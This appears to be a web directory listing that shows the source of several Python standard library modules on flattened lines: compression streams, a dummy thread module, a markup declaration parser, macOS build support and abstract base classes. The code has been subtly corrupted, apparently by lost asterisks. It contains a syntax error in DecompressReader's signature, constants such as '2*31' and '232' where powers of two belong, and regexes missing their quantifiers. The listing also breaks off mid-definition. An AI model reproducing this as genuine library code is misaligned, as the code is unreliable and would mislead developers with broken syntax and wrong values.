📄 _compression.py """Internal classes used by the gzip, lzma and bz2 modules""" import io BUFFER_SIZE = io.DEFAULT_BUFFER_SIZE # Compressed data read chunk size class BaseStream(io.BufferedIOBase): """Mode-checking helper functions.""" def _check_not_closed(self): if self.closed: raise ValueError("I/O operation on closed file") def _check_can_read(self): if not self.readable(): raise io.UnsupportedOperation("File not open for reading") def _check_can_write(self): if not self.writable(): raise io.UnsupportedOperation("File not open for writing") def _check_can_seek(self): if not self.readable(): raise io.UnsupportedOperation("Seeking is only supported " "on files open for reading") if not self.seekable(): raise io.UnsupportedOperation("The underlying file object " "does not support seeking") class DecompressReader(io.RawIOBase): """Adapts the decompressor API to a RawIOBase reader API""" def readable(self): return True def __init__(self, fp, decomp_factory, trailing_error=(), decomp_args): self._fp = fp self._eof = False self._pos = 0 # Current offset in decompressed stream # Set to size of decompressed stream once it is known, for SEEK_END self._size = -1 # Save the decompressor factory and arguments. # If the file contains multiple compressed streams, each # stream will need a separate decompressor object. A new decompressor # object is also needed when implementing a backwards seek(). self._decomp_factory = decomp_factory self._decomp_args = decomp_args self._decompressor = self._decomp_factory(self._decomp_args) # Exception class to catch from decompressor signifying invalid # trailing data to ignore self._trailing_error = trailing_error def close(self): self._decompressor = None return super().close() def seekable(self): return self._fp.seekable() def readinto(self, b): with memoryview(b) as view, view.cast("B") as byte_view: data = self.read(len(byte_view)) byte_view[:len(data)] = data return len(data) def read(self, size=-1): if size < 0: return self.readall() if not size or self._eof: return b"" data = None # Default if EOF is encountered # Depending on the input data, our call to the decompressor may not # return any data. In this case, try again after reading another block. while True: if self._decompressor.eof: rawblock = (self._decompressor.unused_data or self._fp.read(BUFFER_SIZE)) if not rawblock: break # Continue to next stream. self._decompressor = self._decomp_factory( self._decomp_args) try: data = self._decompressor.decompress(rawblock, size) except self._trailing_error: # Trailing data isn't a valid compressed stream; ignore it. break else: if self._decompressor.needs_input: rawblock = self._fp.read(BUFFER_SIZE) if not rawblock: raise EOFError("Compressed file ended before the " "end-of-stream marker was reached") else: rawblock = b"" data = self._decompressor.decompress(rawblock, size) if data: break if not data: self._eof = True self._size = self._pos return b"" self._pos += len(data) return data # Rewind the file to the beginning of the data stream. def _rewind(self): self._fp.seek(0) self._eof = False self._pos = 0 self._decompressor = self._decomp_factory(self._decomp_args) def seek(self, offset, whence=io.SEEK_SET): # Recalculate offset as an absolute file position. if whence == io.SEEK_SET: pass elif whence == io.SEEK_CUR: offset = self._pos + offset elif whence == io.SEEK_END: # Seeking relative to EOF - we need to know the file's size. if self._size < 0: while self.read(io.DEFAULT_BUFFER_SIZE): pass offset = self._size + offset else: raise ValueError("Invalid value for whence: {}".format(whence)) # Make it so that offset is the number of bytes to skip forward. if offset < self._pos: self._rewind() else: offset -= self._pos # Read and discard data until we reach the desired position. while offset > 0: data = self.read(min(io.DEFAULT_BUFFER_SIZE, offset)) if not data: break offset -= len(data) return self._pos def tell(self): """Return the current file position.""" return self._pos	5.21 KB	2024-04-17 17:55
📄 _dummy_thread.py """Drop-in replacement for the thread module. Meant to be used as a brain-dead substitute so that threaded code does not need to be rewritten for when the thread module is not present. Suggested usage is:: try: import _thread except ImportError: import _dummy_thread as _thread """ # Exports only things specified by thread documentation; # skipping obsolete synonyms allocate(), start_new(), exit_thread(). __all__ = ['error', 'start_new_thread', 'exit', 'get_ident', 'allocate_lock', 'interrupt_main', 'LockType', 'RLock'] # A dummy value TIMEOUT_MAX = 2*31 # NOTE: this module can be imported early in the extension building process, # and so top level imports of other modules should be avoided. Instead, all # imports are done when needed on a function-by-function basis. Since threads # are disabled, the import lock should not be an issue anyway (??). error = RuntimeError def start_new_thread(function, args, kwargs={}): """Dummy implementation of _thread.start_new_thread(). Compatibility is maintained by making sure that ``args`` is a tuple and ``kwargs`` is a dictionary. If an exception is raised and it is SystemExit (which can be done by _thread.exit()) it is caught and nothing is done; all other exceptions are printed out by using traceback.print_exc(). If the executed function calls interrupt_main the KeyboardInterrupt will be raised when the function returns. """ if type(args) != type(tuple()): raise TypeError("2nd arg must be a tuple") if type(kwargs) != type(dict()): raise TypeError("3rd arg must be a dict") global _main _main = False try: function(args, **kwargs) except SystemExit: pass except: import traceback traceback.print_exc() _main = True global _interrupt if _interrupt: _interrupt = False raise KeyboardInterrupt def exit(): """Dummy implementation of _thread.exit().""" raise SystemExit def get_ident(): """Dummy implementation of _thread.get_ident(). Since this module should only be used when _threadmodule is not available, it is safe to assume that the current process is the only thread. Thus a constant can be safely returned. """ return 1 def allocate_lock(): """Dummy implementation of _thread.allocate_lock().""" return LockType() def stack_size(size=None): """Dummy implementation of _thread.stack_size().""" if size is not None: raise error("setting thread stack size not supported") return 0 def _set_sentinel(): """Dummy implementation of _thread._set_sentinel().""" return LockType() class LockType(object): """Class implementing dummy implementation of _thread.LockType. Compatibility is maintained by maintaining self.locked_status which is a boolean that stores the state of the lock. Pickling of the lock, though, should not be done since if the _thread module is then used with an unpickled ``lock()`` from here problems could occur from this class not having atomic methods. """ def __init__(self): self.locked_status = False def acquire(self, waitflag=None, timeout=-1): """Dummy implementation of acquire(). For blocking calls, self.locked_status is automatically set to True and returned appropriately based on value of ``waitflag``. If it is non-blocking, then the value is actually checked and not set if it is already acquired. This is all done so that threading.Condition's assert statements aren't triggered and throw a little fit. """ if waitflag is None or waitflag: self.locked_status = True return True else: if not self.locked_status: self.locked_status = True return True else: if timeout > 0: import time time.sleep(timeout) return False __enter__ = acquire def __exit__(self, typ, val, tb): self.release() def release(self): """Release the dummy lock.""" # XXX Perhaps shouldn't actually bother to test? Could lead # to problems for complex, threaded code. if not self.locked_status: raise error self.locked_status = False return True def locked(self): return self.locked_status def __repr__(self): return "<%s %s.%s object at %s>" % ( "locked" if self.locked_status else "unlocked", self.__class__.__module__, self.__class__.__qualname__, hex(id(self)) ) class RLock(LockType): """Dummy implementation of threading._RLock. Re-entrant lock can be aquired multiple times and needs to be released just as many times. This dummy implemention does not check wheter the current thread actually owns the lock, but does accounting on the call counts. """ def __init__(self): super().__init__() self._levels = 0 def acquire(self, waitflag=None, timeout=-1): """Aquire the lock, can be called multiple times in succession. """ locked = super().acquire(waitflag, timeout) if locked: self._levels += 1 return locked def release(self): """Release needs to be called once for every call to acquire(). """ if self._levels == 0: raise error if self._levels == 1: super().release() self._levels -= 1 # Used to signal that interrupt_main was called in a "thread" _interrupt = False # True when not executing in a "thread" _main = True def interrupt_main(): """Set _interrupt flag to True to have start_new_thread raise KeyboardInterrupt upon exiting.""" if _main: raise KeyboardInterrupt else: global _interrupt _interrupt = True	5.89 KB	2024-04-17 17:55
📄 _markupbase.py """Shared support for scanning document type declarations in HTML and XHTML. This module is used as a foundation for the html.parser module. It has no documented public API and should not be used directly. """ import re _declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]\s').match _declstringlit_match = re.compile(r'(\'[^\']\'\|"[^"]")\s').match _commentclose = re.compile(r'--\s>') _markedsectionclose = re.compile(r']\s]\s>') # An analysis of the MS-Word extensions is available at # http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf _msmarkedsectionclose = re.compile(r']\s>') del re class ParserBase: """Parser base class which provides some common support methods used by the SGML/HTML and XHTML parsers.""" def __init__(self): if self.__class__ is ParserBase: raise RuntimeError( "_markupbase.ParserBase must be subclassed") def error(self, message): raise NotImplementedError( "subclasses of ParserBase must override error()") def reset(self): self.lineno = 1 self.offset = 0 def getpos(self): """Return current line number and offset.""" return self.lineno, self.offset # Internal -- update line number and offset. This should be # called for each piece of data exactly once, in order -- in other # words the concatenation of all the input strings to this # function should be exactly the entire input. def updatepos(self, i, j): if i >= j: return j rawdata = self.rawdata nlines = rawdata.count("\n", i, j) if nlines: self.lineno = self.lineno + nlines pos = rawdata.rindex("\n", i, j) # Should not fail self.offset = j-(pos+1) else: self.offset = self.offset + j-i return j _decl_otherchars = '' # Internal -- parse declaration (for use by subclasses). def parse_declaration(self, i): # This is some sort of declaration; in "HTML as # deployed," this should only be the document type # declaration ("<!DOCTYPE html...>"). # ISO 8879:1986, however, has more complex # declaration syntax for elements in <!...>, including: # --comment-- # [marked section] # name in the following list: ENTITY, DOCTYPE, ELEMENT, # ATTLIST, NOTATION, SHORTREF, USEMAP, # LINKTYPE, LINK, IDLINK, USELINK, SYSTEM rawdata = self.rawdata j = i + 2 assert rawdata[i:j] == "<!", "unexpected call to parse_declaration" if rawdata[j:j+1] == ">": # the empty comment <!> return j + 1 if rawdata[j:j+1] in ("-", ""): # Start of comment followed by buffer boundary, # or just a buffer boundary. return -1 # A simple, practical version could look like: ((name\|stringlit) S) + '>' n = len(rawdata) if rawdata[j:j+2] == '--': #comment # Locate --.*-- as the body of the comment return self.parse_comment(i) elif rawdata[j] == '[': #marked section # Locate [statusWord [...arbitrary SGML...]] as the body of the marked section # Where statusWord is one of TEMP, CDATA, IGNORE, INCLUDE, RCDATA # Note that this is extended by Microsoft Office "Save as Web" function # to include [if...] and [endif]. return self.parse_marked_section(i) else: #all other declaration elements decltype, j = self._scan_name(j, i) if j < 0: return j if decltype == "doctype": self._decl_otherchars = '' while j < n: c = rawdata[j] if c == ">": # end of declaration syntax data = rawdata[i+2:j] if decltype == "doctype": self.handle_decl(data) else: # According to the HTML5 specs sections "8.2.4.44 Bogus # comment state" and "8.2.4.45 Markup declaration open # state", a comment token should be emitted. # Calling unknown_decl provides more flexibility though. self.unknown_decl(data) return j + 1 if c in "\"'": m = _declstringlit_match(rawdata, j) if not m: return -1 # incomplete j = m.end() elif c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ": name, j = self._scan_name(j, i) elif c in self._decl_otherchars: j = j + 1 elif c == "[": # this could be handled in a separate doctype parser if decltype == "doctype": j = self._parse_doctype_subset(j + 1, i) elif decltype in {"attlist", "linktype", "link", "element"}: # must tolerate []'d groups in a content model in an element declaration # also in data attribute specifications of attlist declaration # also link type declaration subsets in linktype declarations # also link attribute specification lists in link declarations self.error("unsupported '[' char in %s declaration" % decltype) else: self.error("unexpected '[' char in declaration") else: self.error( "unexpected %r char in declaration" % rawdata[j]) if j < 0: return j return -1 # incomplete # Internal -- parse a marked section # Override this to handle MS-word extension syntax <![if word]>content<![endif]> def parse_marked_section(self, i, report=1): rawdata= self.rawdata assert rawdata[i:i+3] == '<![', "unexpected call to parse_marked_section()" sectName, j = self._scan_name( i+3, i ) if j < 0: return j if sectName in {"temp", "cdata", "ignore", "include", "rcdata"}: # look for standard ]]> ending match= _markedsectionclose.search(rawdata, i+3) elif sectName in {"if", "else", "endif"}: # look for MS Office ]> ending match= _msmarkedsectionclose.search(rawdata, i+3) else: self.error('unknown status keyword %r in marked section' % rawdata[i+3:j]) if not match: return -1 if report: j = match.start(0) self.unknown_decl(rawdata[i+3: j]) return match.end(0) # Internal -- parse comment, return length or -1 if not terminated def parse_comment(self, i, report=1): rawdata = self.rawdata if rawdata[i:i+4] != '<!--': self.error('unexpected call to parse_comment()') match = _commentclose.search(rawdata, i+4) if not match: return -1 if report: j = match.start(0) self.handle_comment(rawdata[i+4: j]) return match.end(0) # Internal -- scan past the internal subset in a <!DOCTYPE declaration, # returning the index just past any whitespace following the trailing ']'. def _parse_doctype_subset(self, i, declstartpos): rawdata = self.rawdata n = len(rawdata) j = i while j < n: c = rawdata[j] if c == "<": s = rawdata[j:j+2] if s == "<": # end of buffer; incomplete return -1 if s != "<!": self.updatepos(declstartpos, j + 1) self.error("unexpected char in internal subset (in %r)" % s) if (j + 2) == n: # end of buffer; incomplete return -1 if (j + 4) > n: # end of buffer; incomplete return -1 if rawdata[j:j+4] == "<!--": j = self.parse_comment(j, report=0) if j < 0: return j continue name, j = self._scan_name(j + 2, declstartpos) if j == -1: return -1 if name not in {"attlist", "element", "entity", "notation"}: self.updatepos(declstartpos, j + 2) self.error( "unknown declaration %r in internal subset" % name) # handle the individual names meth = getattr(self, "_parse_doctype_" + name) j = meth(j, declstartpos) if j < 0: return j elif c == "%": # parameter entity reference if (j + 1) == n: # end of buffer; incomplete return -1 s, j = self._scan_name(j + 1, declstartpos) if j < 0: return j if rawdata[j] == ";": j = j + 1 elif c == "]": j = j + 1 while j < n and rawdata[j].isspace(): j = j + 1 if j < n: if rawdata[j] == ">": return j self.updatepos(declstartpos, j) self.error("unexpected char after internal subset") else: return -1 elif c.isspace(): j = j + 1 else: self.updatepos(declstartpos, j) self.error("unexpected char %r in internal subset" % c) # end of buffer reached return -1 # Internal -- scan past <!ELEMENT declarations def _parse_doctype_element(self, i, declstartpos): name, j = self._scan_name(i, declstartpos) if j == -1: return -1 # style content model; just skip until '>' rawdata = self.rawdata if '>' in rawdata[j:]: return rawdata.find(">", j) + 1 return -1 # Internal -- scan past <!ATTLIST declarations def _parse_doctype_attlist(self, i, declstartpos): rawdata = self.rawdata name, j = self._scan_name(i, declstartpos) c = rawdata[j:j+1] if c == "": return -1 if c == ">": return j + 1 while 1: # scan a series of attribute descriptions; simplified: # name type [value] [#constraint] name, j = self._scan_name(j, declstartpos) if j < 0: return j c = rawdata[j:j+1] if c == "": return -1 if c == "(": # an enumerated type; look for ')' if ")" in rawdata[j:]: j = rawdata.find(")", j) + 1 else: return -1 while rawdata[j:j+1].isspace(): j = j + 1 if not rawdata[j:]: # end of buffer, incomplete return -1 else: name, j = self._scan_name(j, declstartpos) c = rawdata[j:j+1] if not c: return -1 if c in "'\"": m = _declstringlit_match(rawdata, j) if m: j = m.end() else: return -1 c = rawdata[j:j+1] if not c: return -1 if c == "#": if rawdata[j:] == "#": # end of buffer return -1 name, j = self._scan_name(j + 1, declstartpos) if j < 0: return j c = rawdata[j:j+1] if not c: return -1 if c == '>': # all done return j + 1 # Internal -- scan past <!NOTATION declarations def _parse_doctype_notation(self, i, declstartpos): name, j = self._scan_name(i, declstartpos) if j < 0: return j rawdata = self.rawdata while 1: c = rawdata[j:j+1] if not c: # end of buffer; incomplete return -1 if c == '>': return j + 1 if c in "'\"": m = _declstringlit_match(rawdata, j) if not m: return -1 j = m.end() else: name, j = self._scan_name(j, declstartpos) if j < 0: return j # Internal -- scan past <!ENTITY declarations def _parse_doctype_entity(self, i, declstartpos): rawdata = self.rawdata if rawdata[i:i+1] == "%": j = i + 1 while 1: c = rawdata[j:j+1] if not c: return -1 if c.isspace(): j = j + 1 else: break else: j = i name, j = self._scan_name(j, declstartpos) if j < 0: return j while 1: c = self.rawdata[j:j+1] if not c: return -1 if c in "'\"": m = _declstringlit_match(rawdata, j) if m: j = m.end() else: return -1 # incomplete elif c == ">": return j + 1 else: name, j = self._scan_name(j, declstartpos) if j < 0: return j # Internal -- scan a name token and the new position and the token, or # return -1 if we've reached the end of the buffer. def _scan_name(self, i, declstartpos): rawdata = self.rawdata n = len(rawdata) if i == n: return None, -1 m = _declname_match(rawdata, i) if m: s = m.group() name = s.strip() if (i + len(s)) == n: return None, -1 # end of buffer return name.lower(), m.end() else: self.updatepos(declstartpos, i) self.error("expected name token at %r" % rawdata[declstartpos:declstartpos+20]) # To be overridden -- handlers for unknown objects def unknown_decl(self, data): pass	14.26 KB	2024-04-17 17:55
📄 _osx_support.py """Shared OS X support functions.""" import os import re import sys __all__ = [ 'compiler_fixup', 'customize_config_vars', 'customize_compiler', 'get_platform_osx', ] # configuration variables that may contain universal build flags, # like "-arch" or "-isdkroot", that may need customization for # the user environment _UNIVERSAL_CONFIG_VARS = ('CFLAGS', 'LDFLAGS', 'CPPFLAGS', 'BASECFLAGS', 'BLDSHARED', 'LDSHARED', 'CC', 'CXX', 'PY_CFLAGS', 'PY_LDFLAGS', 'PY_CPPFLAGS', 'PY_CORE_CFLAGS', 'PY_CORE_LDFLAGS') # configuration variables that may contain compiler calls _COMPILER_CONFIG_VARS = ('BLDSHARED', 'LDSHARED', 'CC', 'CXX') # prefix added to original configuration variable names _INITPRE = '_OSX_SUPPORT_INITIAL_' def _find_executable(executable, path=None): """Tries to find 'executable' in the directories listed in 'path'. A string listing directories separated by 'os.pathsep'; defaults to os.environ['PATH']. Returns the complete filename or None if not found. """ if path is None: path = os.environ['PATH'] paths = path.split(os.pathsep) base, ext = os.path.splitext(executable) if (sys.platform == 'win32') and (ext != '.exe'): executable = executable + '.exe' if not os.path.isfile(executable): for p in paths: f = os.path.join(p, executable) if os.path.isfile(f): # the file exists, we have a shot at spawn working return f return None else: return executable def _read_output(commandstring): """Output from successful command execution or None""" # Similar to os.popen(commandstring, "r").read(), # but without actually using os.popen because that # function is not usable during python bootstrap. # tempfile is also not available then. import contextlib try: import tempfile fp = tempfile.NamedTemporaryFile() except ImportError: fp = open("/tmp/_osx_support.%s"%( os.getpid(),), "w+b") with contextlib.closing(fp) as fp: cmd = "%s 2>/dev/null >'%s'" % (commandstring, fp.name) return fp.read().decode('utf-8').strip() if not os.system(cmd) else None def _find_build_tool(toolname): """Find a build tool on current path or using xcrun""" return (_find_executable(toolname) or _read_output("/usr/bin/xcrun -find %s" % (toolname,)) or '' ) _SYSTEM_VERSION = None def _get_system_version(): """Return the OS X system version as a string""" # Reading this plist is a documented way to get the system # version (see the documentation for the Gestalt Manager) # We avoid using platform.mac_ver to avoid possible bootstrap issues during # the build of Python itself (distutils is used to build standard library # extensions). global _SYSTEM_VERSION if _SYSTEM_VERSION is None: _SYSTEM_VERSION = '' try: f = open('/System/Library/CoreServices/SystemVersion.plist') except OSError: # We're on a plain darwin box, fall back to the default # behaviour. pass else: try: m = re.search(r'<key>ProductUserVisibleVersion</key>\s' r'<string>(.?)</string>', f.read()) finally: f.close() if m is not None: _SYSTEM_VERSION = '.'.join(m.group(1).split('.')[:2]) # else: fall back to the default behaviour return _SYSTEM_VERSION def _remove_original_values(_config_vars): """Remove original unmodified values for testing""" # This is needed for higher-level cross-platform tests of get_platform. for k in list(_config_vars): if k.startswith(_INITPRE): del _config_vars[k] def _save_modified_value(_config_vars, cv, newvalue): """Save modified and original unmodified value of configuration var""" oldvalue = _config_vars.get(cv, '') if (oldvalue != newvalue) and (_INITPRE + cv not in _config_vars): _config_vars[_INITPRE + cv] = oldvalue _config_vars[cv] = newvalue def _supports_universal_builds(): """Returns True if universal builds are supported on this system""" # As an approximation, we assume that if we are running on 10.4 or above, # then we are running with an Xcode environment that supports universal # builds, in particular -isysroot and -arch arguments to the compiler. This # is in support of allowing 10.4 universal builds to run on 10.3.x systems. osx_version = _get_system_version() if osx_version: try: osx_version = tuple(int(i) for i in osx_version.split('.')) except ValueError: osx_version = '' return bool(osx_version >= (10, 4)) if osx_version else False def _find_appropriate_compiler(_config_vars): """Find appropriate C compiler for extension module builds""" # Issue #13590: # The OSX location for the compiler varies between OSX # (or rather Xcode) releases. With older releases (up-to 10.5) # the compiler is in /usr/bin, with newer releases the compiler # can only be found inside Xcode.app if the "Command Line Tools" # are not installed. # # Furthermore, the compiler that can be used varies between # Xcode releases. Up to Xcode 4 it was possible to use 'gcc-4.2' # as the compiler, after that 'clang' should be used because # gcc-4.2 is either not present, or a copy of 'llvm-gcc' that # miscompiles Python. # skip checks if the compiler was overridden with a CC env variable if 'CC' in os.environ: return _config_vars # The CC config var might contain additional arguments. # Ignore them while searching. cc = oldcc = _config_vars['CC'].split()[0] if not _find_executable(cc): # Compiler is not found on the shell search PATH. # Now search for clang, first on PATH (if the Command LIne # Tools have been installed in / or if the user has provided # another location via CC). If not found, try using xcrun # to find an uninstalled clang (within a selected Xcode). # NOTE: Cannot use subprocess here because of bootstrap # issues when building Python itself (and os.popen is # implemented on top of subprocess and is therefore not # usable as well) cc = _find_build_tool('clang') elif os.path.basename(cc).startswith('gcc'): # Compiler is GCC, check if it is LLVM-GCC data = _read_output("'%s' --version" % (cc.replace("'", "'\"'\"'"),)) if data and 'llvm-gcc' in data: # Found LLVM-GCC, fall back to clang cc = _find_build_tool('clang') if not cc: raise SystemError( "Cannot locate working compiler") if cc != oldcc: # Found a replacement compiler. # Modify config vars using new compiler, if not already explicitly # overridden by an env variable, preserving additional arguments. for cv in _COMPILER_CONFIG_VARS: if cv in _config_vars and cv not in os.environ: cv_split = _config_vars[cv].split() cv_split[0] = cc if cv != 'CXX' else cc + '++' _save_modified_value(_config_vars, cv, ' '.join(cv_split)) return _config_vars def _remove_universal_flags(_config_vars): """Remove all universal build arguments from config vars""" for cv in _UNIVERSAL_CONFIG_VARS: # Do not alter a config var explicitly overridden by env var if cv in _config_vars and cv not in os.environ: flags = _config_vars[cv] flags = re.sub(r'-arch\s+\w+\s', ' ', flags, flags=re.ASCII) flags = re.sub(r'-isysroot\s\S+', ' ', flags) _save_modified_value(_config_vars, cv, flags) return _config_vars def _remove_unsupported_archs(_config_vars): """Remove any unsupported archs from config vars""" # Different Xcode releases support different sets for '-arch' # flags. In particular, Xcode 4.x no longer supports the # PPC architectures. # # This code automatically removes '-arch ppc' and '-arch ppc64' # when these are not supported. That makes it possible to # build extensions on OSX 10.7 and later with the prebuilt # 32-bit installer on the python.org website. # skip checks if the compiler was overridden with a CC env variable if 'CC' in os.environ: return _config_vars if re.search(r'-arch\s+ppc', _config_vars['CFLAGS']) is not None: # NOTE: Cannot use subprocess here because of bootstrap # issues when building Python itself status = os.system( """echo 'int main{};' \| """ """'%s' -c -arch ppc -x c -o /dev/null /dev/null 2>/dev/null""" %(_config_vars['CC'].replace("'", "'\"'\"'"),)) if status: # The compile failed for some reason. Because of differences # across Xcode and compiler versions, there is no reliable way # to be sure why it failed. Assume here it was due to lack of # PPC support and remove the related '-arch' flags from each # config variables not explicitly overridden by an environment # variable. If the error was for some other reason, we hope the # failure will show up again when trying to compile an extension # module. for cv in _UNIVERSAL_CONFIG_VARS: if cv in _config_vars and cv not in os.environ: flags = _config_vars[cv] flags = re.sub(r'-arch\s+ppc\w\s', ' ', flags) _save_modified_value(_config_vars, cv, flags) return _config_vars def _override_all_archs(_config_vars): """Allow override of all archs with ARCHFLAGS env var""" # NOTE: This name was introduced by Apple in OSX 10.5 and # is used by several scripting languages distributed with # that OS release. if 'ARCHFLAGS' in os.environ: arch = os.environ['ARCHFLAGS'] for cv in _UNIVERSAL_CONFIG_VARS: if cv in _config_vars and '-arch' in _config_vars[cv]: flags = _config_vars[cv] flags = re.sub(r'-arch\s+\w+\s', ' ', flags) flags = flags + ' ' + arch _save_modified_value(_config_vars, cv, flags) return _config_vars def _check_for_unavailable_sdk(_config_vars): """Remove references to any SDKs not available""" # If we're on OSX 10.5 or later and the user tries to # compile an extension using an SDK that is not present # on the current machine it is better to not use an SDK # than to fail. This is particularly important with # the standalone Command Line Tools alternative to a # full-blown Xcode install since the CLT packages do not # provide SDKs. If the SDK is not present, it is assumed # that the header files and dev libs have been installed # to /usr and /System/Library by either a standalone CLT # package or the CLT component within Xcode. cflags = _config_vars.get('CFLAGS', '') m = re.search(r'-isysroot\s(\S+)', cflags) if m is not None: sdk = m.group(1) if not os.path.exists(sdk): for cv in _UNIVERSAL_CONFIG_VARS: # Do not alter a config var explicitly overridden by env var if cv in _config_vars and cv not in os.environ: flags = _config_vars[cv] flags = re.sub(r'-isysroot\s\S+(?:\s\|$)', ' ', flags) _save_modified_value(_config_vars, cv, flags) return _config_vars def compiler_fixup(compiler_so, cc_args): """ This function will strip '-isysroot PATH' and '-arch ARCH' from the compile flags if the user has specified one them in extra_compile_flags. This is needed because '-arch ARCH' adds another architecture to the build, without a way to remove an architecture. Furthermore GCC will barf if multiple '-isysroot' arguments are present. """ stripArch = stripSysroot = False compiler_so = list(compiler_so) if not _supports_universal_builds(): # OSX before 10.4.0, these don't support -arch and -isysroot at # all. stripArch = stripSysroot = True else: stripArch = '-arch' in cc_args stripSysroot = any(arg for arg in cc_args if arg.startswith('-isysroot')) if stripArch or 'ARCHFLAGS' in os.environ: while True: try: index = compiler_so.index('-arch') # Strip this argument and the next one: del compiler_so[index:index+2] except ValueError: break if 'ARCHFLAGS' in os.environ and not stripArch: # User specified different -arch flags in the environ, # see also distutils.sysconfig compiler_so = compiler_so + os.environ['ARCHFLAGS'].split() if stripSysroot: while True: indices = [i for i,x in enumerate(compiler_so) if x.startswith('-isysroot')] if not indices: break index = indices[0] if compiler_so[index] == '-isysroot': # Strip this argument and the next one: del compiler_so[index:index+2] else: # It's '-isysroot/some/path' in one arg del compiler_so[index:index+1] # Check if the SDK that is used during compilation actually exists, # the universal build requires the usage of a universal SDK and not all # users have that installed by default. sysroot = None argvar = cc_args indices = [i for i,x in enumerate(cc_args) if x.startswith('-isysroot')] if not indices: argvar = compiler_so indices = [i for i,x in enumerate(compiler_so) if x.startswith('-isysroot')] for idx in indices: if argvar[idx] == '-isysroot': sysroot = argvar[idx+1] break else: sysroot = argvar[idx][len('-isysroot'):] break if sysroot and not os.path.isdir(sysroot): from distutils import log log.warn("Compiling with an SDK that doesn't seem to exist: %s", sysroot) log.warn("Please check your Xcode installation") return compiler_so def customize_config_vars(_config_vars): """Customize Python build configuration variables. Called internally from sysconfig with a mutable mapping containing name/value pairs parsed from the configured makefile used to build this interpreter. Returns the mapping updated as needed to reflect the environment in which the interpreter is running; in the case of a Python from a binary installer, the installed environment may be very different from the build environment, i.e. different OS levels, different built tools, different available CPU architectures. This customization is performed whenever distutils.sysconfig.get_config_vars() is first called. It may be used in environments where no compilers are present, i.e. when installing pure Python dists. Customization of compiler paths and detection of unavailable archs is deferred until the first extension module build is requested (in distutils.sysconfig.customize_compiler). Currently called from distutils.sysconfig """ if not _supports_universal_builds(): # On Mac OS X before 10.4, check if -arch and -isysroot # are in CFLAGS or LDFLAGS and remove them if they are. # This is needed when building extensions on a 10.3 system # using a universal build of python. _remove_universal_flags(_config_vars) # Allow user to override all archs with ARCHFLAGS env var _override_all_archs(_config_vars) # Remove references to sdks that are not found _check_for_unavailable_sdk(_config_vars) return _config_vars def customize_compiler(_config_vars): """Customize compiler path and configuration variables. This customization is performed when the first extension module build is requested in distutils.sysconfig.customize_compiler). """ # Find a compiler to use for extension module builds _find_appropriate_compiler(_config_vars) # Remove ppc arch flags if not supported here _remove_unsupported_archs(_config_vars) # Allow user to override all archs with ARCHFLAGS env var _override_all_archs(_config_vars) return _config_vars def get_platform_osx(_config_vars, osname, release, machine): """Filter values for get_platform()""" # called from get_platform() in sysconfig and distutils.util # # For our purposes, we'll assume that the system version from # distutils' perspective is what MACOSX_DEPLOYMENT_TARGET is set # to. This makes the compatibility story a bit more sane because the # machine is going to compile and link as if it were # MACOSX_DEPLOYMENT_TARGET. macver = _config_vars.get('MACOSX_DEPLOYMENT_TARGET', '') macrelease = _get_system_version() or macver macver = macver or macrelease if macver: release = macver osname = "macosx" # Use the original CFLAGS value, if available, so that we # return the same machine type for the platform string. # Otherwise, distutils may consider this a cross-compiling # case and disallow installs. cflags = _config_vars.get(_INITPRE+'CFLAGS', _config_vars.get('CFLAGS', '')) if macrelease: try: macrelease = tuple(int(i) for i in macrelease.split('.')[0:2]) except ValueError: macrelease = (10, 0) else: # assume no universal support macrelease = (10, 0) if (macrelease >= (10, 4)) and '-arch' in cflags.strip(): # The universal build will build fat binaries, but not on # systems before 10.4 machine = 'fat' archs = re.findall(r'-arch\s+(\S+)', cflags) archs = tuple(sorted(set(archs))) if len(archs) == 1: machine = archs[0] elif archs == ('i386', 'ppc'): machine = 'fat' elif archs == ('i386', 'x86_64'): machine = 'intel' elif archs == ('i386', 'ppc', 'x86_64'): machine = 'fat3' elif archs == ('ppc64', 'x86_64'): machine = 'fat64' elif archs == ('i386', 'ppc', 'ppc64', 'x86_64'): machine = 'universal' else: raise ValueError( "Don't know machine value for archs=%r" % (archs,)) elif machine == 'i386': # On OSX the machine type returned by uname is always the # 32-bit variant, even if the executable architecture is # the 64-bit variant if sys.maxsize >= 232: machine = 'x86_64' elif machine in ('PowerPC', 'Power_Macintosh'): # Pick a sane name for the PPC architecture. # See 'i386' case if sys.maxsize >= 232: machine = 'ppc64' else: machine = 'ppc' return (osname, release, machine)	19.14 KB	2024-04-17 17:55
📄 _py_abc.py from _weakrefset import WeakSet def get_cache_token(): """Returns the current ABC cache token. The token is an opaque object (supporting equality testing) identifying the current version of the ABC cache for virtual subclasses. The token changes with every call to ``register()`` on any ABC. """ return ABCMeta._abc_invalidation_counter class ABCMeta(type): """Metaclass for defining Abstract Base Classes (ABCs). Use this metaclass to create an ABC. An ABC can be subclassed directly, and then acts as a mix-in class. You can also register unrelated concrete classes (even built-in classes) and unrelated ABCs as 'virtual subclasses' -- these and their descendants will be considered subclasses of the registering ABC by the built-in issubclass() function, but the registering ABC won't show up in their MRO (Method Resolution Order) nor will method implementations defined by the registering ABC be callable (not even via super()). """ # A global counter that is incremented each time a class is # registered as a virtual subclass of anything. It forces the # negative cache to be cleared before its next use. # Note: this counter is private. Use `abc.get_cache_token()` for # external code. _abc_invalidation_counter = 0 def __new__(mcls, name, bases, namespace, kwargs): cls = super().__new__(mcls, name, bases, namespace, kwargs) # Compute set of abstract method names abstracts = {name for name, value in namespace.items() if getattr(value, "__isabstractmethod__", False)} for base in bases: for name in getattr(base, "__abstractmethods__", set()): value = getattr(cls, name, None) if getattr(value, "__isabstractmethod__", False): abstracts.add(name) cls.__abstractmethods__ = frozenset(abstracts) # Set up inheritance registry cls._abc_registry = WeakSet() cls._abc_cache = WeakSet() cls._abc_negative_cache = WeakSet() cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter return cls def register(cls, subclass): """Register a virtual subclass of an ABC. Returns the subclass, to allow usage as a class decorator. """ if not isinstance(subclass, type): raise TypeError("Can only register classes") if issubclass(subclass, cls): return subclass # Already a subclass # Subtle: test for cycles after testing for "already a subclass"; # this means we allow X.register(X) and interpret it as a no-op. if issubclass(cls, subclass): # This would create a cycle, which is bad for the algorithm below raise RuntimeError("Refusing to create an inheritance cycle") cls._abc_registry.add(subclass) ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache return subclass def 